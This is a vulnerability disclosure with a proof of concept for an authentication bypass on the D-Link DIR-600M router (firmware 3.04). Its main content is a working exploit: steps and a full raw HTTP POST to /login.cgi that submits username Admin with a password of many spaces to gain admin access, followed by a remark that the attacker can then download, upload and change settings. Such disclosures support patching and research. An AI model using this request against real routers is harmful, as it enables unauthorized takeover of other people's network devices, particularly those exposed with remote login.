D-Link DIR-600M Wireless N 150 suffers from an authentication bypass vulnerability.
177eb06dde58e466bffebdce91d3056e# Exploit Title: D-Link DIR-600M Wireless N 150 Login Page Bypass
# Date: 19-05-2017
# Software Link: http://www.dlink.co.in/products/?pid=DIR-600M
# Exploit Author: Touhid M.Shaikh
# Vendor : www.dlink.com
# Contact : http://twitter.com/touhidshaikh22
# Version: Hardware version: C1
Firmware version: 3.04
# Tested on:All Platforms
1) Description
After Successfully Connected to D-Link DIR-600M Wireless N 150
Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's
Admin Panel Just by Feeding Blank Spaces in the password Field.
Its More Dangerous when your Router has a public IP with remote login
enabled.
For More Details : www.touhidshaikh.com/blog/
IN MY CASE,
Router IP : http://192.168.100.1
Video POC : https://www.youtube.com/watch?v=waIJKWCpyNQring
2) Proof of Concept
Step 1: Go to
Router Login Page : http://192.168.100.1/login.htm
Step 2:
Fill username: admin
And in Password Fill more than 20 tims Spaces(" ")
Our Request Is look like below.
-----------------ATTACKER REQUEST-----------------------------------
POST /login.cgi HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send
--------------------END here------------------------
Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.
-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
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